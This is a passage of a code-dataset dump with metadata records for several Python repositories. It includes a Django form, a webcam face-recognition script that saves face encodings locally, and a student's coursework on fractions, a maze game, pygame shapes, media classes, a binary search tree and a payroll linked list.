('bio','propic','website_url','fb_url','instagram_url','linkedin_url')\r\n\t\twidgets = {\r\n\t\t\t\t\t\"bio\":forms.Textarea(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"website_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"fb_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"instagram_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"linkedin_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\r\n\t\t}\r\n\r\n"
},
{
"alpha_fraction": 0.7207792401313782,
"alphanum_fraction": 0.7207792401313782,
"avg_line_length": 23.66666603088379,
"blob_id": "5500a7dd103c31f0a665c53e6249032513062dbc",
"content_id": "c31ae1e73692488c4cb030933fe6f331c38a16e9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 154,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 6,
"path": "/bloggers/apps.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from django.apps import AppConfig\r\n\r\n\r\nclass BloggersConfig(AppConfig):\r\n default_auto_field = 'django.db.models.BigAutoField'\r\n name = 'bloggers'\r\n"
}
] | 11 |
dhanuvanth/RealOrFake | https://github.com/dhanuvanth/RealOrFake | 4202330c2b3b1377e252e3084701e86c1024fb5e | 869521e60efb02a67d6815bb784acfa918d469f4 | 37a530e73065574203145244579352adbd90434e | refs/heads/master | 2022-12-09T12:50:35.078989 | 2020-09-07T02:49:36 | 2020-09-07T02:49:36 | 293,407,198 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6012294888496399,
"alphanum_fraction": 0.6237704753875732,
"avg_line_length": 29.89873504638672,
"blob_id": "33f5e46dc7f34bf5f11bad54c364b4ab02049d42",
"content_id": "22122ae9cd905c8336244f87718177cff2ae28c1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2440,
"license_type": "no_license",
"max_line_length": 150,
"num_lines": 79,
"path": "/RealOrFake.py",
"repo_name": "dhanuvanth/RealOrFake",
"src_encoding": "UTF-8",
"text": "import face_recognition\nimport os\nfrom cv2 import cv2\nimport pickle\nimport time\n\nKNOWN_FACES_DIR = 'known_faces'\nTOLERANCE = 0.5\nFRAME_THICKNESS = 3\nFONT_THICKNESS = 2\nMODEL = 'hog'\n\nvideo = cv2.VideoCapture(0)\n\nprint('Loading known faces...')\nknown_faces = []\nknown_names = []\n\nfor name in os.listdir(KNOWN_FACES_DIR):\n for filename in os.listdir(f'{KNOWN_FACES_DIR}/{name}'):\n encoding = pickle.load(open(f'{KNOWN_FACES_DIR}/{name}/{filename}',\"rb\"))\n\n # Append encodings and name\n known_faces.append(encoding)\n known_names.append(int(name))\n\nif len(known_names) > 0:\n next_id = max(known_names) + 1\nelse:\n next_id = 0\n\nprint('Processing unknown faces...')\nwhile True:\n\n # Load image\n ret,image = video.read()\n locations = face_recognition.face_locations(image, model=MODEL)\n\n encodings = face_recognition.face_encodings(image, locations)\n\n print(f', found {len(encodings)} face(s)')\n for face_encoding, face_location in zip(encodings, locations):\n\n results = face_recognition.compare_faces(known_faces, face_encoding, TOLERANCE)\n\n match = None\n if True in results: # If at least one is true, get a name of first of found labels\n match = known_names[results.index(True)]\n print(f' - {match} from {results}')\n else:\n match = str(next_id)\n next_id += 1\n known_names.append(match)\n known_faces.append(face_encoding)\n os.mkdir(f'{KNOWN_FACES_DIR}/{match}')\n pickle.dump(face_encoding,open(f'{KNOWN_FACES_DIR}/{match}/{match}-{int(time.time())}.pkl',\"wb\"))\n\n # Each location contains positions in order: top, right, bottom, left\n top_left = (face_location[3], face_location[0])\n bottom_right = (face_location[1], face_location[2])\n\n color = [0,100,200]\n\n # Paint frame\n cv2.rectangle(image, top_left, bottom_right, color, FRAME_THICKNESS)\n\n top_left = (face_location[3], face_location[2])\n bottom_right = (face_location[1], face_location[2] + 22)\n\n # Paint frame\n cv2.rectangle(image, top_left, bottom_right, color, cv2.FILLED)\n\n # Wite a name\n cv2.putText(image, str(match), (face_location[3] + 10, face_location[2] + 15), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (200, 200, 200), FONT_THICKNESS)\n\n # Show image\n cv2.imshow(\"\", image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break"
}
] | 1 |
n0rrt/cs-172 | https://github.com/n0rrt/cs-172 | d055a8371131d264e75fe850baca9d3d9f5c2fc3 | aa2c765cd17090ded6f274755567f9dd52ff5927 | af48d0f4725abeb14f9d86f0d68add4f64f40ae0 | refs/heads/master | 2020-05-07T21:13:23.581826 | 2019-06-01T23:19:01 | 2019-06-01T23:19:01 | 180,896,007 | 0 | 2 | null | null | null | null | null | [
{
"alpha_fraction": 0.4744201898574829,
"alphanum_fraction": 0.4945429861545563,
"avg_line_length": 31.10988998413086,
"blob_id": "b74e0d66a8c2c95d935f3aae1c8ff1a4b94a5eb4",
"content_id": "144298eed992abcb0fda0bc4fa176f9158ce6d2e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2932,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 91,
"path": "/lab3.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "class Fraction:\n def __init__(self, num, den):\n self.num = num\n self.den = den\n self.simplify()\n def __str__(self):\n if self.den == 1:\n return str(self.num)\n else:\n return str(self.num)+\"/\"+str(self.den)\n def getNum(self):\n return self.num\n def getDen(self):\n return self.den\n def approximate(self):\n return self.num/self.den\n def simplify(self):\n x = self.gcd(self.num, self.den)\n self.num = self.num//x\n self.den = self.den//x\n def gcd(self, a, b):\n if b == 0:\n return a\n else:\n return self.gcd(b, a % b)\n def __add__(self, other):\n return Fraction(((self.num * other.den) + (self.den * other.num)), (self.den * other.den))\n def __sub__(self, other):\n return Fraction(self.num, self.den) + Fraction(-1*other.num, other.den)\n def __mul__(self, other):\n return Fraction((self.num * other.num), (self.den * other.den))\n def __truediv__(self, other):\n return Fraction((self.num * other.den), (self.den * other.num))\n def __pow__(self, exp):\n if exp == 0:\n return Fraction(1,1)\n elif exp < 0: \n temp = self.num\n self.num = self.den\n self.den = temp\n return self*(self.__pow__(-1*exp))\n elif exp > 0:\n return self*(self.__pow__(exp-1))\nif __name__ == \"__main__\":\n #debugging\n '''frac1 = Fraction(2,3)\n frac2 = Fraction(3,4)\n print(frac1 + frac2)\n print(frac1 - frac2)\n print(frac1 * frac2)\n print(frac1 / frac2)\n print(frac1 ** 2)'''\n\n def H(n):\n total = Fraction(0,1)\n for i in range(1, n+1):\n total += Fraction(1, i)\n return total\n def T(n):\n total = Fraction(0,1)\n half = Fraction(1,2)\n for i in range(n+1):\n total += half ** i\n return total\n def Z(n):\n return (Fraction(2,1)-T(n))\n def R(n, b):\n total = Fraction(0,1)\n \n for ii in range(1, n+1):\n total += (Fraction(1, ii) ** b)\n return total\n riemannNums = [2,3,4,5,6,7,8]\n while True:\n try:\n userIn = int(input('Enter number of iterations (integer > 0):\\n'))\n except TypeError:\n print('Bad Input')\n continue\n print('H({})={}'.format(userIn, H(userIn)))\n print('H({})~={:0.8f}'.format(userIn, H(userIn).approximate()))\n\n print('T({})={}'.format(userIn, T(userIn)))\n print('T({})~={:0.8f}'.format(userIn, T(userIn).approximate()))\n\n print('Z({})={}'.format(userIn, Z(userIn)))\n print('Z({})~={:0.8f}'.format(userIn, Z(userIn).approximate()))\n for i in riemannNums:\n print('R({},{})={}'.format(userIn, i, R(userIn, i)))\n print('R({},{})~={:0.8f}'.format(userIn, i, R(userIn, i).approximate()))\n break\n \n\n"
},
{
"alpha_fraction": 0.5960264801979065,
"alphanum_fraction": 0.6092715263366699,
"avg_line_length": 39,
"blob_id": "65fca41d0fddc9f1ca3ef450a75d3d3285896fc9",
"content_id": "6712ca37c694c9343f80c6b0fa55632793017159",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 604,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 15,
"path": "/Homework3/Ball.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from Drawable import Drawable\nimport pygame\nclass Ball(Drawable):\n def __init__(self, position, visible, radius = 0, color = (0,0,0)):\n self.radius = radius\n self.color = color\n super().__init__(position, visible)\n def draw(self, surface):\n pygame.draw.circle(surface, super().getColor(), super().getPos(), self.getRadius())\n\n def get_rect(self):\n return pygame.Rect((super().getPos()[0] - self.getRadius(), super().getPos()[1] - self.getRadius()), (2 * self.getRadius(), 2 * self.getRadius()))\n \n def getRadius(self):\n return self.radius\n "
},
{
"alpha_fraction": 0.5981402397155762,
"alphanum_fraction": 0.6184971332550049,
"avg_line_length": 30.5238094329834,
"blob_id": "1eca754fde57dca3bde10ef6b7d89cb10e80fedd",
"content_id": "c63aceedaa0e3bfd62e2444f618737ca4f2e312f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3979,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 126,
"path": "/lab7.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from room import *\nfrom maze import *\n\n'''\n0123456\nSRRRRRR\n7 8 9\nR###R#R\n10\nR######\n11/12\nRR#####\n 13/14\n#RR####\n\n3x south\n1x east\n1x south\n1x east\n\n'''\nrooms = []\nrooms.append(Room(\"This room is the entrance.\"))\nrooms.append(Room(\"This room has a table. Maybe a dining room?\"))\nrooms.append(Room('This room has several toilets in a circle. Weird.'))\nrooms.append(Room('This room is empty, save for a nickle on the floor. Neat!'))\nrooms.append(Room('This room has a bookshelf. Perhaps it\\'s a personal libary'))\nrooms.append(Room('This room has a prehistoric computer lining the walls. How vintage.'))\nrooms.append(Room('This room contains a squirrel. We\\'re not quite sure why either.'))\nrooms.append(Room('This room has a table with a key in the shape of a skull on top. It might not be useful in the future but God it looks cool.'))\nrooms.append(Room('This room has another squirrel. Don\\'t worry, it\\'s not the same room.'))\nrooms.append(Room('This room has a cash register and a few weapons on a table. Perhaps a shop? But where\\'s the shopkeep...'))\nrooms.append(Room('This room is very much different when compared to the others, much taller. It\\'s still just an ordinary room, though.'))\nrooms.append(Room('This room contains a squirrel-wedding ceremony. Perhaps the prevoius squirrels were ushers?'))\nrooms.append(Room('This room is empty, no nickle this time. What was up with that squirrel wedding though?'))\nrooms.append(Room('This room contains a heavy door with a skull on it. Now would be a great time for that-- oh it\\'s already unlocked.'))\nrooms.append(Room(\"This room is the exit. Good Job.\"))\n\nstart = rooms[0]\n\n# top row of rooms\nfor x in range(6):\n rooms[x].setEast(rooms[x+1])\n rooms[x+1].setWest(rooms[x])\n\nrooms[0].setSouth(rooms[7])\nrooms[7].setNorth(rooms[0])\n\nrooms[4].setSouth(rooms[8])\nrooms[8].setNorth(rooms[4])\n\nrooms[6].setSouth(rooms[9])\nrooms[9].setNorth(rooms[6])\n\nrooms[7].setSouth(rooms[10])\nrooms[10].setNorth(rooms[7])\n\nrooms[10].setSouth(rooms[11])\nrooms[11].setNorth(rooms[10])\n\nrooms[11].setEast(rooms[12])\nrooms[12].setWest(rooms[11])\n\nrooms[12].setSouth(rooms[13])\nrooms[13].setNorth(rooms[12])\n\nrooms[13].setSouth(rooms[14])\nrooms[14].setNorth(rooms[13])\n\nmaze = Maze(rooms[0], rooms[14])\n\nwhile True:\n print(maze.getCurrent())\n\n userIn = input(\"Enter direction to move north south east west restart\\n\")\n if userIn.lower() == 'north':\n if maze.moveNorth():\n print('You went north')\n maze.setCurrent(rooms[rooms.index(maze.getCurrent().getNorth())])\n if maze.atExit():\n print('You found the exit')\n break\n \n else:\n print(\"Direction invalid\")\n \n elif userIn.lower() == 'south':\n if maze.moveSouth():\n print('You went south')\n maze.setCurrent(rooms[rooms.index(maze.getCurrent().getSouth())])\n if maze.atExit():\n print('You found the exit')\n break\n \n else:\n print('Direction invalid')\n \n elif userIn.lower() == 'east':\n if maze.moveEast():\n print('You went east')\n maze.setCurrent(rooms[rooms.index(maze.getCurrent().getEast())])\n if maze.atExit():\n print('You found the exit')\n break\n \n else:\n print('Direction invalid')\n \n elif userIn.lower() == 'west':\n if maze.moveWest():\n print('You went west')\n maze.setCurrent(rooms[rooms.index(maze.getCurrent().getWest())])\n if maze.atExit():\n print('You found the exit')\n break\n \n else:\n print('Direction invalid')\n \n elif userIn.lower() == 'restart':\n maze.reset()\n #debug\n elif userIn.lower() == 'index':\n print(rooms.index(maze.getCurrent()))\n else:\n print('invalid input try again')\n \n\n\n"
},
{
"alpha_fraction": 0.5863970518112183,
"alphanum_fraction": 0.5900735259056091,
"avg_line_length": 19.730770111083984,
"blob_id": "8578f7a34e108f7dc6e448dd8a9b5f24dcf91d18",
"content_id": "148080ce58331015260235d630c6f220ec0ff805",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 544,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 26,
"path": "/Homework3/Drawable.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "import pygame\nimport abc\n\nclass Drawable(metaclass = abc.ABCMeta):\n def __init__(self, position = (0,0), visible = True):\n self.position = position\n self.visible = visible\n @abc.abstractmethod\n def draw(self, surface):\n pass\n \n @abc.abstractmethod\n def get_rect(self):\n pass\n\n def getPos(self):\n return self.position\n\n def getVisible(self):\n return self.visible\n\n def getColor(self):\n return self.color\n\n def setPos(self, x, y):\n self.position = (x, y)\n\n "
},
{
"alpha_fraction": 0.7416008114814758,
"alphanum_fraction": 0.7455533742904663,
"avg_line_length": 21.730337142944336,
"blob_id": "bedd3ad199acf9adaed6c6d386632a4cfd50f183",
"content_id": "13c4cc54e8bfcfdf4620ffc30e849fb794e0d985",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2024,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 89,
"path": "/monster.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "#Mark Boady and Matthew Burlick\n#Drexel University 2018\n#CS 172\n\n\n#This class defines a generic monster\n#It doesn't actually DO anything.\n#It just gives you a template for how a monster works.\n\n#We can make any number of monsters and have them fight\n#they just all need to INHERIT from this one so that work the same way\n\n#Since this class is not intended to be used\n#none of the methods do anything\n#This class is cannot be used by itself.\nimport abc\n\nclass monster(metaclass=abc.ABCMeta):\n\tdef __init__(self):\n\t\treturn\n\tdef __str__(self):\n\t\treturn \"Generic Monster Class\"\n\t#Methods that need to be implemented\n\t#The description is printed at the start to give\n\t#additional details\n\t\n\t#Name the monster we are fighting\n\t#The description is printed at the start to give\n\t#additional details\n\[email protected]\n\tdef getName(self):\n\t\tpass\n\t\t\n\[email protected]\n\tdef getDescription(self):\n\t\tpass\n\t\t\n\t#Basic Attack Move\n\t#This will be the most common attack the monster makes\n\t#You are passed the monster you are fighting\n\[email protected]\n\tdef basicAttack(self,enemy):\n\t\tpass\n\t\t\n\t#Print the name of the attack used\n\[email protected]\n\tdef basicName(self):\n\t\tpass\n\t\t\n\t#Defense Move\n\t#This move is used less frequently to\n\t#let the monster defend itself\n\[email protected]\n\tdef defenseAttack(self,enemy):\n\t\tpass\n\t\t\n\t#Print out the name of the attack used\n\[email protected]\n\tdef defenseName(self):\n\t\tpass\n\t\t\n\t#Special Attack\n\t#This move is used less frequently\n\t#but is the most powerful move the monster has\n\[email protected]\n\tdef specialAttack(self,enemy):\n\t\tpass\n\t\t\n\[email protected]\n\tdef specialName(self):\n\t\tpass\n\t\t\n\t#Health Management\n\t#A monster at health <= 0 is unconscious\n\t#This returns the current health level\n\[email protected]\n\tdef getHealth(self):\n\t\tpass\n\t\t\n\t#This function is used by the other monster to\n\t#either do damage (positive int) or heal (negative int)\n\[email protected]\n\tdef doDamage(self,damage):\n\t\tpass\n\t\t\n\t#Reset Health for next match\n\[email protected]\n\tdef resetHealth(self):\n\t\tpass\n\n"
},
{
"alpha_fraction": 0.60317462682724,
"alphanum_fraction": 0.60317462682724,
"avg_line_length": 19.075471878051758,
"blob_id": "ec8aa5b2d3143ee7a251d8ddb89606d4db0c0b03",
"content_id": "dc32e8f4dcdbc836f57c1e26906b8d6e178dbdd8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1071,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 53,
"path": "/BST.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "class Node():\n\tdef __init__(self,val):\n\t\tself.__value = val\n\t\tself.__right = None\n\t\tself.__left = None\n\tdef setLeft(self,n):\n\t\tself.__left = n\n\tdef setRight(self,n):\n\t\tself.__right = n\n\tdef getLeft(self):\n\t\treturn self.__left\n\tdef getRight(self):\n\t\treturn self.__right\n\tdef getValue(self):\n\t\treturn self.__value\n\nclass BST():\n\tdef __init__(self):\n\t\tself.__root = None\n\t\t\n\tdef append(self,val):\n\t\tnode = Node(val)\n\t\tif self.__root == None:\n\t\t\tself.__root = node\n\t\t\treturn\n\t\t\n\t\tcurrent = self.__root\n\t\twhile True:\n\t\t\tif val <= current.getValue():\n\t\t\t\tif current.getLeft() == None:\n\t\t\t\t\tcurrent.setLeft(node)\n\t\t\t\t\treturn \n\t\t\t\telse:\n\t\t\t\t\tcurrent = current.getLeft()\n\t\t\telse:\n\t\t\t\tif current.getRight() == None:\n\t\t\t\t\tcurrent.setRight(node)\n\t\t\t\t\treturn\n\t\t\t\telse:\n\t\t\t\t\tcurrent = current.getRight()\n\t\n\tdef isin(self,val):\n\t\tif self.__root == None:\n\t\t\treturn False\n\t\t\n\t\tcurrent = self.__root\n\t\twhile current != None:\n\t\t\tif current.getValue() == val:\n\t\t\t\treturn True\n\t\t\telif val < current.getValue():\n\t\t\t\tcurrent = current.getLeft()\n\t\t\telse:\n\t\t\t\tcurrent = current.getRight()\n\t\t\n\t\n\t\t"
},
{
"alpha_fraction": 0.6205450892448425,
"alphanum_fraction": 0.6310272812843323,
"avg_line_length": 35.69230651855469,
"blob_id": "dc37de9c90614cd6cb361d62779acc420c5ea879",
"content_id": "329b204b6fa04b15d059989924f94ae0ab042dae",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 477,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 13,
"path": "/Homework3/Text.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from Drawable import Drawable\nimport pygame\n\nclass Text(Drawable):\n def __init__(self, position, visible, color=(0,0,0)):\n self.color = color\n super().__init__(position, visible)\n def draw(self, surface, message):\n font = pygame.font.Font('freesansbold.ttf', 12)\n text = font.render(message, True, super().getColor())\n surface.blit(text, self.get_rect())\n def get_rect(self):\n return pygame.Rect(self.getPos(), self.getPos())\n"
},
{
"alpha_fraction": 0.587848961353302,
"alphanum_fraction": 0.5960590839385986,
"avg_line_length": 29.450000762939453,
"blob_id": "ee619c6cad9ee788fe5a084aafe4c9ced2f076be",
"content_id": "af4a88f0ac9cadcf7273f2d8f866ce2c8732f52e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 609,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 20,
"path": "/Homework3/Block.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from Drawable import Drawable\nimport pygame\n\nclass Block(Drawable):\n def __init__(self, position, visible, size = 0, color = (0,0,0)):\n self.color = color\n self.size = size\n super().__init__(position, visible)\n def draw(self, surface):\n pygame.draw.rect(surface, super().getColor(), self.get_rect(), 0)\n def get_rect(self): \n return pygame.Rect(super().getPos(), (self.getSize(), self.getSize()))\n \n def getSize(self):\n return self.size\n def setPos(self, pos):\n self.position = pos\n\n def setVis(self, bool):\n self.visible = bool\n"
},
{
"alpha_fraction": 0.4824311435222626,
"alphanum_fraction": 0.5109211802482605,
"avg_line_length": 36.57143020629883,
"blob_id": "a511a36972dff317fda47c122ec9cffd451831e6",
"content_id": "2c9f049b1856aa2804b9ab37dd8635b80d0f9a87",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3159,
"license_type": "no_license",
"max_line_length": 124,
"num_lines": 84,
"path": "/homework2.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from media import *\n\n\nsong1 = Song(\"song\", \"Waiting Room\", \"*****\", \"Fugazi\", \"13 Songs\")\nsong2 = Song(\"song\", \"HEAT\", \"*****\", \"BROCKHAMPTON\", \"SATURATION\")\nsong3 = Song(\"song\", \"Alright\",\"*****\", \"Kendrick Lamar\", \"To Pimp A Butterfly\")\nsong4 = Song(\"song\", \"Bound 2\",\"*****\", \"Kanye West\", \"Yeezus\")\n\nmovie1 = Movie(\"movie\", \"Pulp Fiction\", \"8.9/10\", \"Quentin Tarantino\", \"2 hours 34 minutes\")\nmovie2 = Movie(\"movie\", \"The Matrix\", \"8.7/10\", \"The Wachowski Brothers\", \"2 hours 16 minutes\")\nmovie3 = Movie(\"movie\", \"Inglorious Basterds\", \"8.3/10\", \"Quentin Tarantino\", \"2 hours 33 minutes\")\nmovie4 = Movie(\"movie\", \"Spirited Away\", \"8.6/10\", \"Hayao Miyazaki\", \"2 hours 5 minutes\")\n\npicture1 = Picture(\"picture\", \"Mountain\", \"****\", \"1920x1080\")\npicture2 = Picture(\"picture\", \"Lake\", \"****\", \"1920x1080\")\npicture3 = Picture(\"picture\", \"Tree\", \"*****\", \"1920x1080\")\npicture4 = Picture(\"picture\", \"Dog\", \"*****\", \"1920x1080\")\n\nmediaList = [song1, song2, song3, song4, movie1, movie2, movie3, movie4, picture1, picture2, picture3, picture4]\n\ndef displayAll():\n for i in mediaList:\n (i.getAll())\n print(\"\\n\")\n \ndef displaySongs():\n for i in mediaList:\n if isinstance(i, Song):\n (i.getAll())\n print(\"\\n\")\ndef displayMovies():\n for i in mediaList:\n if isinstance(i, Movie):\n (i.getAll())\n print(\"\\n\")\ndef displayPictures():\n for i in mediaList:\n if isinstance(i, Picture):\n (i.getAll())\n print(\"\\n\")\n\nif __name__ == \"__main__\":\n inMedia = False\n try:\n userIn = input(\"What do you want to display?\\n\")\n except:\n print(\"Enter valid input\")\n while not(userIn.lower()==(\"quit\")):\n if userIn.lower()==(\"display all\"):\n displayAll()\n elif userIn.lower()==(\"display songs\"):\n displaySongs()\n elif userIn.lower()==(\"display movies\"):\n displayMovies()\n elif userIn.lower()==(\"display pictures\"):\n displayPictures()\n \n elif userIn.lower().split()[0] == \"play\":\n for i in range(len(mediaList)):\n try:\n if (str(userIn.lower().split()[1] + \" \" + userIn.lower().split()[2])) in mediaList[i].getName().lower():\n mediaList[i].play()\n inMedia = True\n break\n except IndexError:\n if (str(userIn.lower().split()[1]) in mediaList[i].getName().lower()):\n mediaList[i].play()\n inMedia=True\n break\n if inMedia == False:\n print(\"Unable to find the requested media\")\n inMedia = False\n\n else:\n inMedia = False\n for i in range(len(mediaList)):\n if userIn.lower()==(mediaList[i].getName().lower()):\n mediaList[i].getAll()\n inMedia = True\n break\n if inMedia == False:\n print(\"Unable to find the requested media or command\")\n userIn = input(\"What do you want to display?\\n\")\n inMedia = False \n"
},
{
"alpha_fraction": 0.5668202638626099,
"alphanum_fraction": 0.5668202638626099,
"avg_line_length": 30.5,
"blob_id": "2ecf3dfafe65feee79f6349a056efadf0fae602c",
"content_id": "133688df24e1e75bb25fdf04a942b337bc02d746",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1953,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 62,
"path": "/media.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "class Media:\n def __init__(self, media_type, name, rating):\n self.__media_type = media_type\n self.__name = name\n self.__rating = rating\n def __str__(self):\n return str(self.getType(), self.getName(), self.getRating())\n def getType(self):\n return self.__media_type\n def getName(self):\n return self.__name\n def getRating(self):\n return self.__rating\n def getAll(self):\n print(self)\n \nclass Movie(Media):\n def __init__(self, media_type, name, rating, director, runtime):\n self.__director = director\n self.__runtime = runtime\n super().__init__(media_type, name, rating)\n\n def __str__(self):\n return self.getName() + \"\\n\" + self.getDirector() + \"\\n\" + self.getRating()\n \n def play(self):\n print(\"{}, playing now\".format(self.getName()))\n\n def getDirector(self):\n return self.__director\n \n def getRuntime(self):\n return self.__runtime\n\nclass Song(Media):\n def __init__(self, media_type, name, rating, artist, album):\n self.__artist = artist\n self.__album = album\n super().__init__(media_type, name, rating)\n def __str__(self):\n return self.getName() + \"\\n\" + self.getArtist() + \"\\n\" + self.getAlbum() + \"\\n\" + self.getRating()\n \n def play(self):\n print(\"{} by {}, now playing\".format(self.getName(), self.getArtist()))\n\n def getArtist(self):\n return self.__artist\n def getAlbum(self):\n return self.__album\nclass Picture(Media):\n def __init__(self, media_type, name, rating, resolution):\n self.__resolution = resolution\n super().__init__(media_type, name, rating)\n \n def __str__(self):\n return self.getName() + \"\\n\" + self.getResolution() + \"\\n\" + self.getRating()\n\n def play(self):\n print(\"Showing {}\".format(str(self.getName())))\n \n def getResolution(self):\n return self.__resolution\n"
},
{
"alpha_fraction": 0.5331825017929077,
"alphanum_fraction": 0.535444974899292,
"avg_line_length": 37.221153259277344,
"blob_id": "69dfcfa1cffea2a43105aa540ba9e5eab58156cb",
"content_id": "86975bec43a492b778a8fd62593b11c80099d07b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3978,
"license_type": "no_license",
"max_line_length": 202,
"num_lines": 104,
"path": "/Homework4/main.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "#Tim Harris tlh339 - Main script\nfrom Node import Node\nfrom LinkedList import LinkedList\nfrom Employee import Employee\nemployeeList = LinkedList()\n\n#custom error handler\nclass invalidError(Exception):\n pass\n#creates new employee\ndef makeNewEmp(idNum, rate):\n if validate():\n newEmp = Employee(idNum, rate)\n employeeList.append(newEmp)\n \n#validates that all values are acceptable\ndef validate():\n index = 1\n \n for x in range(len(employeeList)):\n for y in range(index, len(employeeList) - x): #goes through each employee object following the current and compares ids\n if (employeeList[x].getId() == employeeList[y].getId()):\n raise invalidError('Duplicate employee') \n return False\n index += 1\n if int(employeeList[x].getRate()) < 6: #validates rate\n raise invalidError('bla bla bla')\n return False\n if int(employeeList[x].getHours()) < 0: #validates hours\n raise invalidError('something')\n return False\n return True\n \n'''\na. new employee\nb. set hours\nc. display payroll\nd. update rate\ne. remove employee\nf. quit\n'''\nif __name__ == \"__main__\":\n options = 'abcdef'\n options_string = \"a. new employee\\nb. set hours\\nc. display payroll\\nd. update rate\\ne. remove employee\\nf. quit\\n\"\n userIn = input(options_string)\n if userIn.lower() not in options:\n print('invalid option')\n userIn = input(options_string)\n while userIn.lower() != 'f':\n if userIn.lower() == 'a':\n print('add employee')\n try:\n idNum = input('Enter ID num: ')\n rate = input(\"Enter hourly rate: \")\n makeNewEmp(idNum, rate)\n validate()\n except(invalidError, ValueError) as e:\n print(str(e))\n elif userIn.lower() == 'b':\n print(\"set hours\")\n for emp in range(len(employeeList)):\n try:\n newHours = int(input(\"Enter hours for {}: \".format(employeeList[emp].getId())))\n employeeList[emp].setHours(newHours)\n employeeList[emp].setWage(int(employeeList[emp].getHours()) * int(employeeList[emp].getRate()))\n validate()\n except(invalidError, ValueError):\n print(\"invalid input\")\n elif userIn.lower() == 'c':\n print('display payroll')\n \n for emp in range(len(employeeList)):\n print(\"ID: {}\\nHours: {}\\nRate: ${:.2f}\\nWages: ${:.2f}\\n\".format(employeeList[emp].getId(), employeeList[emp].getHours(), int(employeeList[emp].getRate()), employeeList[emp].getWage()))\n elif userIn.lower() == 'd':\n print('change rate')\n newid = input('Enter the id: ')\n found = False\n for emp in range(len(employeeList)):\n if employeeList[emp].getId() == str(newid):\n try:\n newrate = input(\"Enter the new rate: $\")\n employeeList[emp].setRate(newrate)\n validate()\n except(invalidError, ValueError):\n print('invalid input')\n found = True\n break\n if not found:\n print('ID not found')\n elif userIn.lower() == 'e':\n print('remove employee')\n newid = input('Enter the id: ')\n found = False\n for emp in range(len(employeeList)):\n if employeeList[emp].getId() == str(newid):\n employeeList.remove(employeeList[emp])\n found = True\n break\n if not found:\n print('ID not found')\n userIn = input(options_string)\n if userIn.lower() not in options:\n print('invalid option')\n userIn = input(options_string)\n\n\n\n"
},
{
"alpha_fraction": 0.4885057508945465,
"alphanum_fraction": 0.5188834071159363,
"avg_line_length": 22.47058868408203,
"blob_id": "45729aa4bde553077db9a95811a23fc53c65e8b8",
"content_id": "2fac15451258d1575126bd4863c77f4af9767883",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1218,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 51,
"path": "/homework1.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
